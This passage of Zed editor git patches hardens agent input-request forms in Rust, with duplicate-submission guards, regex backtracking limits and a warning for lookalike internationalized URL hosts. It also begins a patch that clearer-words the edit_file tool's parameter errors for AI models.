+        elicitation_id: ElicitationEntryId,
+        cx: &mut Context<Self>,
+    ) {
+        self.request_elicitation_form_states.remove(&elicitation_id);
+        if let Some(store) = self.request_elicitation_store() {
+            store.update(cx, |store, cx| {
+                store.cancel_elicitation(&elicitation_id, cx);
+            });
+        }
+        self.notify_request_elicitation_renderers(cx);
+    }
+
     fn respond_to_request_elicitation(
         &mut self,
         elicitation_id: ElicitationEntryId,
diff --git a/crates/agent_ui/src/conversation_view/elicitation.rs b/crates/agent_ui/src/conversation_view/elicitation.rs
index 3eaaa0652bd8ab..94e0477ebca9b8 100644
--- a/crates/agent_ui/src/conversation_view/elicitation.rs
+++ b/crates/agent_ui/src/conversation_view/elicitation.rs
@@ -26,9 +26,23 @@ enum ElicitationFieldState {
     MultiSelect(HashSet<String>),
 }
 
+#[derive(PartialEq, Eq)]
+enum ElicitationFieldValue {
+    Text(String),
+    Boolean(bool),
+    SingleSelect { value: Option<String> },
+    MultiSelect(HashSet<String>),
+}
+
+#[derive(PartialEq, Eq)]
+pub(crate) struct ElicitationFormSubmission {
+    fields: HashMap<String, ElicitationFieldValue>,
+}
+
 pub(crate) struct ElicitationFormState {
     fields: HashMap<String, ElicitationFieldState>,
     field_errors: HashMap<String, SharedString>,
+    is_submitting: bool,
 }
 
 impl ElicitationFormState {
@@ -100,13 +114,112 @@ impl ElicitationFormState {
         Self {
             fields,
             field_errors: HashMap::default(),
+            is_submitting: false,
         }
     }
 
+    fn snapshot(&self, cx: &App) -> ElicitationFormSubmission {
+        ElicitationFormSubmission {
+            fields: self
+                .fields
+                .iter()
+                .map(|(name, field)| {
+                    let value = match field {
+                        ElicitationFieldState::Text(editor) => {
+                            ElicitationFieldValue::Text(editor.read(cx).text(cx))
+                        }
+                        ElicitationFieldState::Boolean(value) => {
+                            ElicitationFieldValue::Boolean(*value)
+                        }
+                        ElicitationFieldState::SingleSelect { value } => {
+                            ElicitationFieldValue::SingleSelect {
+                                value: value.clone(),
+                            }
+                        }
+                        ElicitationFieldState::MultiSelect(values) => {
+                            ElicitationFieldValue::MultiSelect(values.clone())
+                        }
+                    };
+                    (name.clone(), value)
+                })
+                .collect(),
+        }
+    }
+
+    pub(crate) fn begin_submission(&mut self, cx: &App) -> Option<ElicitationFormSubmission> {
+        if self.is_submitting {
+            return None;
+        }
+        self.is_submitting = true;
+        Some(self.snapshot(cx))
+    }
+
+    pub(crate) fn validation_matches_current_values(
+        &mut self,
+        submission: &ElicitationFormSubmission,
+        cx: &App,
+    ) -> bool {
+        let is_current = self.snapshot(cx) == *submission;
+        if !is_current {
+            self.is_submitting = false;
+        }
+        is_current
+    }
+
+    #[cfg(test)]
     pub(crate) fn collect(
         &self,
         schema: &acp::ElicitationSchema,
         cx: &App,
+    ) -> Result<BTreeMap<String, acp::ElicitationContentValue>, HashMap<String, SharedString>> {
+        self.snapshot(cx).validate(schema)
+    }
+
+    pub(crate) fn set_errors(&mut self, errors: HashMap<String, SharedString>) {
+        self.field_errors = errors;
+        self.is_submitting = false;
+    }
+
+    pub(crate) fn set_field_error(
+        &mut self,
+        field_name: impl Into<String>,
+        error: impl Into<SharedString>,
+    ) {
+        self.field_errors.insert(field_name.into(), error.into());
+    }
+
+    pub(crate) fn set_boolean(&mut self, field_name: &str, value: bool) {
+        if let Some(ElicitationFieldState::Boolean(field)) = self.fields.get_mut(field_name) {
+            *field = value;
+            self.field_errors.remove(field_name);
+        }
+    }
+
+    pub(crate) fn set_single_select(&mut self, field_name: &str, value: String) {
+        if let Some(ElicitationFieldState::SingleSelect { value: selected }) =
+            self.fields.get_mut(field_name)
+        {
+            *selected = Some(value);
+            self.field_errors.remove(field_name);
+        }
+    }
+
+    pub(crate) fn set_multi_select(&mut self, field_name: &str, value: String, selected: bool) {
+        if let Some(ElicitationFieldState::MultiSelect(values)) = self.fields.get_mut(field_name) {
+            if selected {
+                values.insert(value);
+            } else {
+                values.remove(&value);
+            }
+            self.field_errors.remove(field_name);
+        }
+    }
+}
+
+impl ElicitationFormSubmission {
+    pub(crate) fn validate(
+        &self,
+        schema: &acp::ElicitationSchema,
     ) -> Result<BTreeMap<String, acp::ElicitationContentValue>, HashMap<String, SharedString>> {
         let required = schema.required.as_deref().unwrap_or_default();
         let mut content = BTreeMap::new();
@@ -121,9 +234,8 @@ impl ElicitationFormState {
             let field_content = match (property, field) {
                 (
                     acp::ElicitationPropertySchema::String(schema),
-                    ElicitationFieldState::Text(editor),
+                    ElicitationFieldValue::Text(value),
                 ) => {
-                    let value = editor.read(cx).text(cx).to_string();
                     if value.is_empty() {
                         if is_required {
                             Err(format!("{} is required", property_title(name, property)).into())
@@ -131,13 +243,13 @@ impl ElicitationFormState {
                             Ok(None)
                         }
                     } else {
-                        validate_string_value(property_title(name, property), schema, &value)
-                            .map(|()| Some(value.into()))
+                        validate_string_value(property_title(name, property), schema, value)
+                            .map(|()| Some(value.clone().into()))
                     }
                 }
                 (
                     acp::ElicitationPropertySchema::String(schema),
-                    ElicitationFieldState::SingleSelect { value },
+                    ElicitationFieldValue::SingleSelect { value },
                 ) => {
                     if let Some(value) = value {
                         validate_single_select_value(property_title(name, property), schema, value)
@@ -153,9 +265,9 @@ impl ElicitationFormState {
                 }
                 (
                     acp::ElicitationPropertySchema::Number(schema),
-                    ElicitationFieldState::Text(editor),
+                    ElicitationFieldValue::Text(value),
                 ) => {
-                    let value = editor.read(cx).text(cx).trim().to_string();
+                    let value = value.trim();
                     if value.is_empty() {
                         if is_required {
                             Err(format!("{} is required", property_title(name, property)).into())
@@ -163,15 +275,15 @@ impl ElicitationFormState {
                             Ok(None)
                         }
                     } else {
-                        validate_number_value(property_title(name, property), schema, &value)
+                        validate_number_value(property_title(name, property), schema, value)
                             .map(|parsed| Some(parsed.into()))
                     }
                 }
                 (
                     acp::ElicitationPropertySchema::Integer(schema),
-                    ElicitationFieldState::Text(editor),
+                    ElicitationFieldValue::Text(value),
                 ) => {
-                    let value = editor.read(cx).text(cx).trim().to_string();
+                    let value = value.trim();
                     if value.is_empty() {
                         if is_required {
                             Err(format!("{} is required", property_title(name, property)).into())
@@ -179,13 +291,13 @@ impl ElicitationFormState {
                             Ok(None)
                         }
                     } else {
-                        validate_integer_value(property_title(name, property), schema, &value)
+                        validate_integer_value(property_title(name, property), schema, value)
                             .map(|parsed| Some(parsed.into()))
                     }
                 }
                 (
                     acp::ElicitationPropertySchema::Boolean(schema),
-                    ElicitationFieldState::Boolean(value),
+                    ElicitationFieldValue::Boolean(value),
                 ) => {
                     if is_required || *value || schema.default.is_some() {
                         Ok(Some((*value).into()))
@@ -195,7 +307,7 @@ impl ElicitationFormState {
                 }
                 (
                     acp::ElicitationPropertySchema::Array(schema),
-                    ElicitationFieldState::MultiSelect(selected),
+                    ElicitationFieldValue::MultiSelect(selected),
                 ) => {
                     let mut values = multi_select_options(schema)
                         .into_iter()
@@ -246,45 +358,6 @@ impl ElicitationFormState {
             Err(errors)
         }
     }
-
-    pub(crate) fn set_errors(&mut self, errors: HashMap<String, SharedString>) {
-        self.field_errors = errors;
-    }
-
-    pub(crate) fn set_field_error(
-        &mut self,
-        field_name: impl Into<String>,
-        error: impl Into<SharedString>,
-    ) {
-        self.field_errors.insert(field_name.into(), error.into());
-    }
-
-    pub(crate) fn set_boolean(&mut self, field_name: &str, value: bool) {
-        if let Some(ElicitationFieldState::Boolean(field)) = self.fields.get_mut(field_name) {
-            *field = value;
-            self.field_errors.remove(field_name);
-        }
-    }
-
-    pub(crate) fn set_single_select(&mut self, field_name: &str, value: String) {
-        if let Some(ElicitationFieldState::SingleSelect { value: selected }) =
-            self.fields.get_mut(field_name)
-        {
-            *selected = Some(value);
-            self.field_errors.remove(field_name);
-        }
-    }
-
-    pub(crate) fn set_multi_select(&mut self, field_name: &str, value: String, selected: bool) {
-        if let Some(ElicitationFieldState::MultiSelect(values)) = self.fields.get_mut(field_name) {
-            if selected {
-                values.insert(value);
-            } else {
-                values.remove(&value);
-            }
-            self.field_errors.remove(field_name);
-        }
-    }
 }
 
 #[cfg(test)]
@@ -320,6 +393,41 @@ mod tests {
         );
     }
 
+    #[test]
+    fn string_validation_supports_bounded_advanced_patterns() {
+        let schema = acp::StringPropertySchema::new().pattern(r"^prod-(?=[0-9]+$)([0-9])\1$");
+
+        validate_string_value("Environment".into(), &schema, "prod-44")
+            .expect("lookahead and backreference should be accepted");
+        assert_eq!(
+            validate_string_value("Environment".into(), &schema, "prod-45")
+                .expect_err("backreference mismatch should be rejected")
+                .to_string(),
+            "Environment does not match the requested pattern"
+        );
+    }
+
+    #[test]
+    fn string_validation_rejects_patterns_outside_resource_limits() {
+        let oversized_pattern =
+            acp::StringPropertySchema::new().pattern("a".repeat(MAX_ELICITATION_PATTERN_BYTES + 1));
+        assert_eq!(
+            validate_string_value("Value".into(), &oversized_pattern, "a")
+                .expect_err("oversized pattern should be rejected")
+                .to_string(),
+            "Value has an invalid validation pattern"
+        );
+
+        let schema = acp::StringPropertySchema::new().pattern(".*");
+        let oversized_value = "a".repeat(MAX_ELICITATION_PATTERN_INPUT_BYTES + 1);
+        assert_eq!(
+            validate_string_value("Value".into(), &schema, &oversized_value)
+                .expect_err("oversized pattern input should be rejected")
+                .to_string(),
+            "Value is too long to validate safely"
+        );
+    }
+
     #[test]
     fn number_validation_rejects_non_finite_values() {
         let schema = acp::NumberPropertySchema::new();
@@ -381,6 +489,34 @@ mod tests {
             status: ElicitationStatus::Accepted,
         };
         assert!(!should_render_elicitation(&accepted_form));
+
+        let pending_unknown = Elicitation {
+            id: ElicitationEntryId("pending-unknown".into()),
+            request: acp::CreateElicitationRequest::new(
+                acp::OtherElicitationMode::new("future", preview_request_scope(3), BTreeMap::new()),
+                "Use a future input mode.",
+            ),
+            status: pending_status(),
+        };
+        assert!(!should_render_elicitation(&pending_unknown));
+    }
+
+    #[test]
+    fn url_host_presentation_highlights_destination_and_suspicious_idn() {
+        assert_eq!(
+            url_host_presentation("https://auth.example.com/device"),
+            Some(UrlHostPresentation {
+                host: "auth.example.com".to_string(),
+                suspicious_decoded_host: None,
+            })
+        );
+        assert_eq!(
+            url_host_presentation("https://xn--pple-43d.com/device"),
+            Some(UrlHostPresentation {
+                host: "xn--pple-43d.com".to_string(),
+                suspicious_decoded_host: Some("\u{0430}pple.com".to_string()),
+            })
+        );
     }
 
     #[test]
@@ -503,6 +639,52 @@ mod tests {
         });
     }
 
+    #[gpui::test]
+    fn form_state_prevents_duplicate_submissions(cx: &mut TestAppContext) {
+        crate::conversation_view::tests::init_test(cx);
+
+        cx.add_window(|window, cx| {
+            let schema = acp::ElicitationSchema::new().string("name", true);
+            let mut form_state = ElicitationFormState::new(&schema, window, cx);
+
+            assert!(form_state.begin_submission(cx).is_some());
+            assert!(form_state.begin_submission(cx).is_none());
+
+            form_state.set_errors(HashMap::default());
+            assert!(form_state.begin_submission(cx).is_some());
+
+            Editor::single_line(window, cx)
+        });
+    }
+
+    #[gpui::test]
+    fn form_state_discards_validation_for_stale_values(cx: &mut TestAppContext) {
+        crate::conversation_view::tests::init_test(cx);
+
+        cx.add_window(|window, cx| {
+            let schema = acp::ElicitationSchema::new().property(
+                "name",
+                acp::StringPropertySchema::new().default_value("before"),
+                true,
+            );
+            let mut form_state = ElicitationFormState::new(&schema, window, cx);
+            let submission = form_state
+                .begin_submission(cx)
+                .expect("first submission should start");
+            let editor = match form_state.fields.get("name") {
+                Some(ElicitationFieldState::Text(editor)) => editor.clone(),
+                _ => panic!("expected a text field"),
+            };
+
+            editor.update(cx, |editor, cx| editor.set_text("after", window, cx));
+
+            assert!(!form_state.validation_matches_current_values(&submission, cx));
+            assert!(form_state.begin_submission(cx).is_some());
+
+            Editor::single_line(window, cx)
+        });
+    }
+
     #[gpui::test]
     fn form_state_discards_invalid_optional_single_select_default(cx: &mut TestAppContext) {
         crate::conversation_view::tests::init_test(cx);
@@ -786,6 +968,7 @@ fn render_preview_card(
             ElicitationCard::new(
                 entry_ix,
                 &elicitation,
+                "Example Agent".into(),
                 form_state,
                 ElicitationCardHandlers::noop(),
             )
@@ -999,6 +1182,12 @@ fn validate_single_select_value(
     }
 }
 
+const MAX_ELICITATION_PATTERN_BYTES: usize = 16 * 1024;
+const MAX_ELICITATION_PATTERN_INPUT_BYTES: usize = 1024 * 1024;
+const ELICITATION_PATTERN_BACKTRACK_LIMIT: usize = 10_000;
+const ELICITATION_PATTERN_COMPILED_SIZE_LIMIT: usize = 1024 * 1024;
+const ELICITATION_PATTERN_DFA_SIZE_LIMIT: usize = 1024 * 1024;
+
 fn validate_string_pattern_and_format(
     title: SharedString,
     schema: &acp::StringPropertySchema,
@@ -1007,6 +1196,16 @@ fn validate_string_pattern_and_format(
     if schema.pattern.is_none() && schema.format.and_then(string_format_json_name).is_none() {
         return Ok(());
     }
+    if schema
+        .pattern
+        .as_ref()
+        .is_some_and(|pattern| pattern.len() > MAX_ELICITATION_PATTERN_BYTES)
+    {
+        return Err(format!("{title} has an invalid validation pattern").into());
+    }
+    if schema.pattern.is_some() && value.len() > MAX_ELICITATION_PATTERN_INPUT_BYTES {
+        return Err(format!("{title} is too long to validate safely").into());
+    }
 
     let mut validation_schema = serde_json::Map::new();
     validation_schema.insert(
@@ -1029,6 +1228,12 @@ fn validate_string_pattern_and_format(
     let validation_schema = serde_json::Value::Object(validation_schema);
     let validator = jsonschema::options()
         .should_validate_formats(true)
+        .with_pattern_options(
+            jsonschema::PatternOptions::fancy_regex()
+                .backtrack_limit(ELICITATION_PATTERN_BACKTRACK_LIMIT)
+                .size_limit(ELICITATION_PATTERN_COMPILED_SIZE_LIMIT)
+                .dfa_size_limit(ELICITATION_PATTERN_DFA_SIZE_LIMIT),
+        )
         .build(&validation_schema)
         .map_err(|_| {
             if schema.pattern.is_some() {
@@ -1037,7 +1242,15 @@ fn validate_string_pattern_and_format(
                 format!("{title} has an invalid validation format")
             }
         })?;
-    if validator.is_valid(&serde_json::Value::String(value.to_string())) {
+    let value = serde_json::Value::String(value.to_string());
+    if let Err(error) = validator.validate(&value) {
+        if matches!(
+            error.kind(),
+            jsonschema::error::ValidationErrorKind::BacktrackLimitExceeded { .. }
+        ) {
+            return Err(format!("{title} has a validation pattern that is too complex").into());
+        }
+    } else {
         return Ok(());
     }
 
@@ -1107,6 +1320,7 @@ pub(crate) struct ElicitationCardHandlers {
     on_submit: RespondHandler,
     on_decline: RespondHandler,
     on_cancel: RespondHandler,
+    on_dismiss_url: RespondHandler,
     on_open_url: OpenUrlHandler,
     on_boolean_change: BooleanHandler,
     on_single_select_change: SelectHandler,
@@ -1118,6 +1332,7 @@ impl ElicitationCardHandlers {
         on_submit: impl Fn(ElicitationEntryId, &mut Window, &mut App) + 'static,
         on_decline: impl Fn(ElicitationEntryId, &mut Window, &mut App) + 'static,
         on_cancel: impl Fn(ElicitationEntryId, &mut Window, &mut App) + 'static,
+        on_dismiss_url: impl Fn(ElicitationEntryId, &mut Window, &mut App) + 'static,
         on_open_url: impl Fn(ElicitationEntryId, String, &mut Window, &mut App) + 'static,
         on_boolean_change: impl Fn(ElicitationEntryId, String, bool, &mut App) + 'static,
         on_single_select_change: impl Fn(ElicitationEntryId, String, String, &mut App) + 'static,
@@ -1127,6 +1342,7 @@ impl ElicitationCardHandlers {
             on_submit: Rc::new(on_submit),
             on_decline: Rc::new(on_decline),
             on_cancel: Rc::new(on_cancel),
+            on_dismiss_url: Rc::new(on_dismiss_url),
             on_open_url: Rc::new(on_open_url),
             on_boolean_change: Rc::new(on_boolean_change),
             on_single_select_change: Rc::new(on_single_select_change),
@@ -1139,6 +1355,7 @@ impl ElicitationCardHandlers {
             |_, _, _| {},
             |_, _, _| {},
             |_, _, _| {},
+            |_, _, _| {},
             |_, _, _, _| {},
             |_, _, _, _| {},
             |_, _, _, _| {},
@@ -1150,14 +1367,33 @@ impl ElicitationCardHandlers {
 pub(crate) fn should_render_elicitation(elicitation: &Elicitation) -> bool {
     matches!(
         (&elicitation.status, &elicitation.request.mode),
-        (ElicitationStatus::Pending { .. }, _)
-            | (ElicitationStatus::Accepted, acp::ElicitationMode::Url(_))
+        (
+            ElicitationStatus::Pending { .. },
+            acp::ElicitationMode::Form(_) | acp::ElicitationMode::Url(_)
+        ) | (ElicitationStatus::Accepted, acp::ElicitationMode::Url(_))
     )
 }
 
 const MIN_URL_DISPLAY_SEGMENT_CHARS: usize = 16;
 const MAX_URL_DISPLAY_SEGMENT_CHARS: usize = 64;
 
+#[derive(Debug, PartialEq, Eq)]
+struct UrlHostPresentation {
+    host: String,
+    suspicious_decoded_host: Option<String>,
+}
+
+fn url_host_presentation(url: &str) -> Option<UrlHostPresentation> {
+    let url = url::Url::parse(url).ok()?;
+    let host = url.host_str()?.to_string();
+    let (decoded_host, suspicious_characters) = crate::unicode_confusables::scan_host(&host);
+
+    Some(UrlHostPresentation {
+        host,
+        suspicious_decoded_host: (!suspicious_characters.is_empty()).then_some(decoded_host),
+    })
+}
+
 fn display_url_segments(url: &str) -> Vec<SharedString> {
     let mut segments = Vec::new();
     let mut segment = String::new();
@@ -1192,6 +1428,7 @@ fn is_url_display_segment_boundary(character: char) -> bool {
 pub(crate) struct ElicitationCard<'a> {
     entry_ix: usize,
     elicitation: &'a Elicitation,
+    requester_name: SharedString,
     form_state: Option<&'a ElicitationFormState>,
     handlers: ElicitationCardHandlers,
 }
@@ -1200,12 +1437,14 @@ impl<'a> ElicitationCard<'a> {
     pub(crate) fn new(
         entry_ix: usize,
         elicitation: &'a Elicitation,
+        requester_name: SharedString,
         form_state: Option<&'a ElicitationFormState>,
         handlers: ElicitationCardHandlers,
     ) -> Self {
         Self {
             entry_ix,
             elicitation,
+            requester_name,
             form_state,
             handlers,
         }
@@ -1274,7 +1513,7 @@ impl<'a> ElicitationCard<'a> {
                                     .color(status_color),
                             )
                             .child(
-                                Label::new("Input Requested")
+                                Label::new(format!("Input Requested by {}", self.requester_name))
                                     .size(LabelSize::Custom(tool_name_font_size))
                                     .truncate(),
                             ),
@@ -1286,7 +1525,9 @@ impl<'a> ElicitationCard<'a> {
                     ),
             )
             .child(body)
-            .when(is_pending, |this| this.child(self.render_actions(cx)))
+            .when(is_pending || is_accepted_url, |this| {
+                this.child(self.render_actions(cx))
+            })
     }
 
     fn render_form(&self, mode: &acp::ElicitationFormMode, cx: &App) -> AnyElement {
@@ -1296,6 +1537,19 @@ impl<'a> ElicitationCard<'a> {
 
         v_flex()
             .gap_2()
+            .when_some(mode.requested_schema.title.clone(), |this, title| {
+                this.child(Label::new(title).size(LabelSize::Small))
+            })
+            .when_some(
+                mode.requested_schema.description.clone(),
+                |this, description| {
+                    this.child(
+                        Label::new(description)
+                            .size(LabelSize::Small)
+                            .color(Color::Muted),
+                    )
+                },
+            )
             .children(mode.requested_schema.properties.iter().filter_map(
                 |(field_name, property)| {
                     let field = state.fields.get(field_name)?;
@@ -1622,6 +1876,44 @@ impl<'a> ElicitationCard<'a> {
     fn render_url_elicitation(&self, mode: &acp::ElicitationUrlMode) -> AnyElement {
         v_flex()
             .gap_2()
+            .when_some(url_host_presentation(&mode.url), |this, presentation| {
+                this.child(
+                    v_flex()
+                        .gap_1()
+                        .child(
+                            h_flex()
+                                .gap_1()
+                                .child(
+                                    Label::new("Destination")
+                                        .size(LabelSize::Small)
+                                        .color(Color::Muted),
+                                )
+                                .child(Label::new(presentation.host).size(LabelSize::Small)),
+                        )
+                        .when_some(
+                            presentation.suspicious_decoded_host,
+                            |this, decoded_host| {
+                                this.child(
+                                    h_flex()
+                                        .items_start()
+                                        .gap_1()
+                                        .child(
+                                            Icon::new(IconName::Warning)
+                                                .size(IconSize::XSmall)
+                                                .color(Color::Warning),
+                                        )
+                                        .child(
+                                            Label::new(format!(
+                                                "This internationalized address displays as {decoded_host}. Verify it carefully."
+                                            ))
+                                            .size(LabelSize::Small)
+                                            .color(Color::Warning),
+                                        ),
+                                )
+                            },
+                        ),
+                )
+            })
             .child(Self::render_url_summary(&mode.url))
             .into_any_element()
     }
@@ -1654,7 +1946,12 @@ impl<'a> ElicitationCard<'a> {
             acp::ElicitationMode::Url(mode) => Some(mode.url.clone()),
             _ => None,
         };
-        let (accept_label, accept_icon, accept_icon_color) = if open_url.is_some() {
+        let is_accepted_url =
+            open_url.is_some() && matches!(self.elicitation.status, ElicitationStatus::Accepted);
+        let is_submitting = self.form_state.is_some_and(|state| state.is_submitting);
+        let (accept_label, accept_icon, accept_icon_color) = if is_accepted_url {
+            ("Open Again", IconName::ArrowUpRight, Color::Muted)
+        } else if open_url.is_some() {
             ("Open", IconName::ArrowUpRight, Color::Muted)
         } else {
             ("Submit", IconName::Check, Color::Success)
@@ -1664,9 +1961,11 @@ impl<'a> ElicitationCard<'a> {
         let on_open_url = self.handlers.on_open_url.clone();
         let on_decline = self.handlers.on_decline.clone();
         let on_cancel = self.handlers.on_cancel.clone();
+        let on_dismiss_url = self.handlers.on_dismiss_url.clone();
         let submit_id = self.elicitation.id.clone();
         let decline_id = self.elicitation.id.clone();
         let cancel_id = self.elicitation.id.clone();
+        let dismiss_id = self.elicitation.id.clone();
 
         h_flex()
             .w_full()
@@ -1683,33 +1982,48 @@ impl<'a> ElicitationCard<'a> {
                             .color(accept_icon_color),
                     )
                     .label_size(LabelSize::Small)
+                    .disabled(is_submitting)
                     .on_click(move |_, window, cx| {
                         if let Some(url) = &open_url {
                             on_open_url(submit_id.clone(), url.clone(), window, cx);
+                            if !is_accepted_url {
+                                on_submit(submit_id.clone(), window, cx);
+                            }
                         } else {
                             on_submit(submit_id.clone(), window, cx);
                         }
                     }),
             )
-            .child(
-                Button::new(("elicitation-decline", self.entry_ix), "Decline")
-                    .start_icon(
-                        Icon::new(IconName::Close)
-                            .size(IconSize::XSmall)
-                            .color(Color::Error),
-                    )
-                    .label_size(LabelSize::Small)
-                    .on_click(move |_, window, cx| {
-                        on_decline(decline_id.clone(), window, cx);
-                    }),
-            )
-            .child(
-                Button::new(("elicitation-cancel", self.entry_ix), "Cancel")
-                    .label_size(LabelSize::Small)
-                    .on_click(move |_, window, cx| {
-                        on_cancel(cancel_id.clone(), window, cx);
-                    }),
-            )
+            .when(!is_accepted_url, |this| {
+                this.child(
+                    Button::new(("elicitation-decline", self.entry_ix), "Decline")
+                        .start_icon(
+                            Icon::new(IconName::Close)
+                                .size(IconSize::XSmall)
+                                .color(Color::Error),
+                        )
+                        .label_size(LabelSize::Small)
+                        .on_click(move |_, window, cx| {
+                            on_decline(decline_id.clone(), window, cx);
+                        }),
+                )
+                .child(
+                    Button::new(("elicitation-cancel", self.entry_ix), "Cancel")
+                        .label_size(LabelSize::Small)
+                        .on_click(move |_, window, cx| {
+                            on_cancel(cancel_id.clone(), window, cx);
+                        }),
+                )
+            })
+            .when(is_accepted_url, |this| {
+                this.child(
+                    Button::new(("elicitation-dismiss-url", self.entry_ix), "Cancel")
+                        .label_size(LabelSize::Small)
+                        .on_click(move |_, window, cx| {
+                            on_dismiss_url(dismiss_id.clone(), window, cx);
+                        }),
+                )
+            })
             .into_any_element()
     }
 }
diff --git a/crates/agent_ui/src/conversation_view/thread_view.rs b/crates/agent_ui/src/conversation_view/thread_view.rs
index 718513a9ccc92a..469e88a53004c8 100644
--- a/crates/agent_ui/src/conversation_view/thread_view.rs
+++ b/crates/agent_ui/src/conversation_view/thread_view.rs
@@ -573,6 +573,7 @@ pub struct ThreadView {
     pub agent_icon: IconName,
     pub agent_icon_from_external_svg: Option<SharedString>,
     pub agent_id: AgentId,
+    pub agent_display_name: SharedString,
     pub focus_handle: FocusHandle,
     pub workspace: WeakEntity<Workspace>,
     pub entry_view_state: Entity<EntryViewState>,
@@ -983,6 +984,7 @@ impl ThreadView {
             agent_icon,
             agent_icon_from_external_svg,
             agent_id,
+            agent_display_name,
             workspace,
             entry_view_state,
             title_editor,
@@ -2638,33 +2640,70 @@ impl ThreadView {
             return;
         };
 
-        let response = match mode {
+        match mode {
             acp::ElicitationMode::Form(mode) => {
-                let Some(state) = self.elicitation_form_states.get(&elicitation_id) else {
+                let Some(state) = self.elicitation_form_states.get_mut(&elicitation_id) else {
                     return;
                 };
-                match state.collect(&mode.requested_schema, cx) {
-                    Ok(content) => {
-                        acp::CreateElicitationResponse::new(acp::ElicitationAction::Accept(
-                            acp::ElicitationAcceptAction::new().content(content),
-                        ))
-                    }
-                    Err(errors) => {
-                        if let Some(state) = self.elicitation_form_states.get_mut(&elicitation_id) {
-                            state.set_errors(errors);
+                let Some(submission) = state.begin_submission(cx) else {
+                    return;
+                };
+                let schema = mode.requested_schema;
+                let validation_task = cx.background_spawn(async move {
+                    let result = submission.validate(&schema);
+                    (submission, result)
+                });
+                cx.notify();
+                cx.spawn(async move |this, cx| {
+                    let (submission, result) = validation_task.await;
+                    this.update(cx, |this, cx| {
+                        let is_current = this
+                            .elicitation_form_states
+                            .get_mut(&elicitation_id)
+                            .is_some_and(|state| {
+                                state.validation_matches_current_values(&submission, cx)
+                            });
+                        if !is_current {
+                            cx.notify();
+                            return;
                         }
-                        cx.notify();
-                        return;
-                    }
-                }
+                        match result {
+                            Ok(content) => {
+                                this.respond_to_elicitation(
+                                    elicitation_id,
+                                    acp::CreateElicitationResponse::new(
+                                        acp::ElicitationAction::Accept(
+                                            acp::ElicitationAcceptAction::new().content(content),
+                                        ),
+                                    ),
+                                    cx,
+                                );
+                            }
+                            Err(errors) => {
+                                if let Some(state) =
+                                    this.elicitation_form_states.get_mut(&elicitation_id)
+                                {
+                                    state.set_errors(errors);
+                                }
+                                cx.notify();
+                            }
+                        }
+                    })
+                    .log_err();
+                })
+                .detach();
             }
-            acp::ElicitationMode::Url(_) => acp::CreateElicitationResponse::new(
-                acp::ElicitationAction::Accept(acp::ElicitationAcceptAction::new()),
-            ),
-            _ => return,
-        };
-
-        self.respond_to_elicitation(elicitation_id, response, cx);
+            acp::ElicitationMode::Url(_) => {
+                self.respond_to_elicitation(
+                    elicitation_id,
+                    acp::CreateElicitationResponse::new(acp::ElicitationAction::Accept(
+                        acp::ElicitationAcceptAction::new(),
+                    )),
+                    cx,
+                );
+            }
+            _ => {}
+        }
     }
 
     fn decline_elicitation(
@@ -2693,6 +2732,19 @@ impl ThreadView {
         );
     }
 
+    fn dismiss_url_elicitation(
+        &mut self,
+        elicitation_id: ElicitationEntryId,
+        _window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        self.elicitation_form_states.remove(&elicitation_id);
+        self.thread.update(cx, |thread, cx| {
+            thread.cancel_elicitation(&elicitation_id, cx);
+        });
+        cx.notify();
+    }
+
     fn respond_to_elicitation(
         &mut self,
         elicitation_id: ElicitationEntryId,
@@ -6544,6 +6596,7 @@ impl ThreadView {
         ElicitationCard::new(
             entry_ix,
             elicitation,
+            self.agent_display_name.clone(),
             self.elicitation_form_states.get(&elicitation.id),
             self.elicitation_card_handlers(cx),
         )
@@ -6583,14 +6636,14 @@ impl ThreadView {
             },
             {
                 let view = view.clone();
-                move |elicitation_id, url, window, cx| {
-                    cx.open_url(&url);
+                move |elicitation_id, window, cx| {
                     view.update(cx, |this, cx| {
-                        this.submit_elicitation(elicitation_id, window, cx);
+                        this.dismiss_url_elicitation(elicitation_id, window, cx);
                     })
                     .log_err();
                 }
             },
+            move |_elicitation_id, url, _window, cx| cx.open_url(&url),
             {
                 let view = view.clone();
                 move |elicitation_id, field_name, value, cx| {

From 068691a80ff20a8062a4306cc2178ba362484d93 Mon Sep 17 00:00:00 2001
From: Mendel Feygelson <mfeygelson@gmail.com>
Date: Mon, 27 Jul 2026 07:06:13 -0500
Subject: [PATCH 715/772] agent: Improve error messaging for `edit_file` tool
 (#61662)

# Objective

Currently, when a model provides the wrong parameters to the edit file
tool, it gets back the opaque error message `data did not match any
variant of untagged enum ValueOrJsonString`.

At least some models (DeepSeek in my experience) can't figure out what
to do from this point, and keep trying the same wrong parameter names in
the tool call before eventually falling back to using `ed`.

This may address https://github.com/zed-industries/zed/issues/58622.

## Solution

Rather than attempting to deserialize to the `ValueOrJsonString` enum,
try to deserialize as a JSON string and then as a value in turn, so that
deserialization errors better propagate.

## Testing

Using DeepSeek V4 Pro.

Tried it out in a reloaded conversation where the edit tool was
consistently failing.

Asked it to stress-test the edit tool. Only one edit failed after a few
successful attempts, and returned the error message "missing field
`new_text`".

Subsequent edits worked again rather than resulting in a doom loop. I
don't think the model noticed what happened, but it seemed to help.

<img width="366" height="551" alt="image"
src="https://github.com/user-attachments/assets/6f9c0c8d-bf94-4670-bad0-0ead5c1fff4e"
/>

...

<img width="346" height="153" alt="image"
src="https://github.com/user-attachments/assets/2afa2901-9a90-4142-aa9d-ff32a7be0d0c"
/>


---

Release Notes:

- Improved edit_file tool error messaging.

---------

Co-authored-by: MrSubidubi <finn@zed.dev>
---
 crates/agent/src/tools.rs                | 27 +++++++++++++++---------
 crates/agent/src/tools/edit_file_tool.rs | 13 ++++++++++++
 2 files changed, 30 insertions(+), 10 deletions(-)

diff --git a/crates/agent/src/tools.rs b/crates/agent/src/tools.rs
index 85da6bbb214dcb..89211e0ac6fb59 100644
--- a/crates/agent/src/tools.rs
+++ b/crates/agent/src/tools.rs
@@ -47,18 +47,25 @@ where
     T: DeserializeOwned,
     D: Deserializer<'de>,
 {
-    #[derive(Deserialize)]
-    #[serde(untagged)]
-    enum ValueOrJsonString<T> {
-        Value(T),
-        String(String),
+    fn to_custom_error<E>(e: serde_json::Error) -> E
+    where
+        E: serde::de::Error,
+    {
+        E::custom(format!("{e}"))
     }
 
-    match ValueOrJsonString::<T>::deserialize(deserializer)? {
-        ValueOrJsonString::Value(value) => Ok(value),
-        ValueOrJsonString::String(string) => serde_json::from_str::<T>(&string).map_err(|error| {
-            D::Error::custom(format!("failed to parse stringified value: {error}"))
-        }),
